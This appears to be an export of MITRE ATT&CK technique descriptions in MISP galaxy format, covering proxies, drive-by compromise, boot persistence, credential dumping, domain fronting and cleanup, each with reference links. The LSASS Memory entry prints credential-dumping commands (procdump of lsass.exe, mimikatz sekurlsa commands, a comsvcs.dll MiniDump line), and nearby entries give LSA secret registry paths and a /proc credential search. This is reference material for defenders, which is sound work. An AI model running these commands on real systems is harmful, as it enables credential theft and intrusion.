To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"*

Table 8617. Table References

Links
https://attack.mitre.org/techniques/T1188

Drive-by Compromise - T1189

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:

- A legitimate website is compromised, allowing adversaries to inject malicious code
- Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary
- Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))
- Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)

Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://attack.mitre.org/techniques/T1204). By clicking "allow" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.(Citation: Push notifications - viruspositive)(Citation: push notification -mcafee)(Citation: push notifications - malwarebytes)

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling

scripting, notifications, or active website components and ignoring warning dialog boxes.

3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"*

Table 8618. Table References

Links
http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
https://attack.mitre.org/techniques/T1189
https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications
https://www.malwarebytes.com/blog/news/2019/01/browser-push-notifications-feature-asking-abused
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/

Pre-OS Boot - T1542

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

The tag is: *misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542"*

Table 8619. Table References

Links
https://attack.mitre.org/techniques/T1542
https://en.wikipedia.org/wiki/Booting
https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html

Drive-By Compromise - T1456

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001).

Multiple ways of delivering exploit code to a browser exist, including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Lookout-StealthMango)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
    - The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
    - In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-By Compromise - T1456"*

Table 8620. Table References

Links
https://attack.mitre.org/techniques/T1456
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html

Inter-Process Communication - T1559

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559"*

Table 8621. Table References

Links
https://attack.mitre.org/techniques/T1559
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
<a href="https://www.geeksforgeeks.org/inter-process-communication-ipc/<mark>:_{:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.">https://www.geeksforgeeks.org/inter-process-communication-ipc/</mark>:}:text=Inter%2Dprocess%20communication%20(IPC)

Wi-Fi Networks - T1669

Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring [Valid Accounts](https://attack.mitre.org/techniques/T1078) — belonging to a target organization.(Citation: DOJ GRU Charges 2018)(Citation: Nearest Neighbor Volexity) Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.

Adversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target's Wi-Fi network.(Citation: Nearest Neighbor Volexity)

Once an initial wireless connection is achieved, adversaries may leverage this access for follow-on

activities in the victim network or further targeting of specific devices on the network. Adversaries may perform [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) activities for [Credential Access](https://attack.mitre.org/tactics/TA0006) or [Discovery](https://attack.mitre.org/tactics/TA0007).

The tag is: *misp-galaxy:mitre-attack-pattern="Wi-Fi Networks - T1669"*

Table 8622. Table References

Links
https://attack.mitre.org/techniques/T1669
https://www.justice.gov/archives/opa/pr/us-charges-russian-gru-officers-international-hacking-and-related-influence-and
https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/

Publish/Subscribe Protocols - T1071.005

Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>, and <code>STOMP</code> use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Publish/Subscribe Protocols - T1071.005"*

Table 8623. Table References

Links
https://attack.mitre.org/techniques/T1071/005
https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/
https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf

Token Impersonation/Theft - T1134.001

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security

context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.

The tag is: *misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001"*

Table 8624. Table References

Links
https://attack.mitre.org/techniques/T1134/001
https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

Encrypted/Encoded File - T1027.013

Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.

This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.

The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.

For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived

content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File)

Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Encrypted/Encoded File - T1027.013"*

Table 8625. Table References

Links
https://attack.mitre.org/techniques/T1027/013
https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/
https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/

Container CLI/API - T1059.013

Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.

The Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.(Citation: Docker Desktop CLI)

Adversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Build Image on Host](https://attack.mitre.org/techniques/T1612)), run containers (i.e., [Deploy Container](https://attack.mitre.org/techniques/T1610)), or execute commands inside running containers (i.e., [Container Administration Command](https://attack.mitre.org/techniques/T1609)). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads.(Citation: Intezer) Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., [Container and Resource Discovery](https://attack.mitre.org/techniques/T1613)).(Citation: Cisco Talos Blog)(Citation: aquasec)

Kubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.(Citation: aquasec) They may also run various commands regarding resource management.

The tag is: *misp-galaxy:mitre-attack-pattern="Container CLI/API - T1059.013"*

Table 8626. Table References

Links
https://attack.mitre.org/techniques/T1059/013
https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/
https://docs.docker.com/desktop/features/desktop-cli/
https://intezer.com/blog/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
https://www.aquasec.com/blog/teamtnt-reemerged-with-new-aggressive-cloud-campaign/

DNS/Passive DNS - T1596.001

Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts.

Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="DNS/Passive DNS - T1596.001"*

Table 8627. Table References

Links
https://attack.mitre.org/techniques/T1596/001
https://dnsdumpster.com/
https://www.circl.lu/services/passive-dns/

File/Path Exclusions - T1564.012

Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder

Exclusions)

Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](Reconnaissance(https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.

The tag is: *misp-galaxy:mitre-attack-pattern="File/Path Exclusions - T1564.012"*

Table 8628. Table References

Links
https://attack.mitre.org/techniques/T1564/012
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus

Junk Data - T1001.001

Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.

The tag is: *misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001"*

Table 8629. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001/001
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html

Traffic Duplication - T1020.001

Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)

Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other

infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)

Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.

The tag is: *misp-galaxy:mitre-attack-pattern="Traffic Duplication - T1020.001"*

Table 8630. Table References

Links
https://attack.mitre.org/techniques/T1020/001
https://cloud.google.com/vpc/docs/packet-mirroring
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview
https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html
https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html
https://www.us-cert.gov/ncas/alerts/TA18-106A

LSASS Memory - T1003.001

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

- <code>procdump -ma lsass.exe lsass_dump</code>

Locally, mimikatz can be run using:

- <code>sekurlsa::Minidump lsassdump.dmp</code>
- <code>sekurlsa::logonPasswords</code>

Built-in Windows tools such as `comsvcs.dll` can also be used:

- <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)

Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"*

Table 8631. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1003/001
https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
https://github.com/mattifestation/PowerSploit

https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

Relocate Malware - T1070.010

Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.

Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)

Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).

The tag is: *misp-galaxy:mitre-attack-pattern="Relocate Malware - T1070.010"*

Table 8632. Table References

Links
https://attack.mitre.org/techniques/T1070/010
https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

Internal Proxy - T1090.001

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of

connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"*

Table 8633. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1090/001

External Proxy - T1090.002

Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.

The tag is: *misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002"*

Table 8634. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1090/002

LSA Secrets - T1003.004

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

The tag is: *misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"*

Table 8635. Table References

Links
https://attack.mitre.org/techniques/T1003/004
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN
https://github.com/mattifestation/PowerSploit
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

Proc Filesystem - T1003.007

Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process's virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process's virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)

When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process's memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)

If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory

within the same structure) in which hashes or cleartext credentials may be located.

The tag is: *misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007"*

Table 8636. Table References

Links
https://attack.mitre.org/techniques/T1003/007
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem
https://github.com/huntergregal/mimipenguin
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md
https://www.baeldung.com/linux/proc-id-maps
https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use

File Deletion - T1070.004

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows, <code>rm</code> or <code>unlink</code> on Linux and macOS, and `rm` on ESXi.

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"*

Table 8637. Table References

Links
https://attack.mitre.org/techniques/T1070/004
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

Domain Fronting - T1090.004

Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS

header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004"*

Table 8638. Table References

Links
http://www.icir.org/vern/papers/meek-PETS-2015.pdf
https://attack.mitre.org/techniques/T1090/004

Clear Persistence - T1070.009

Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)

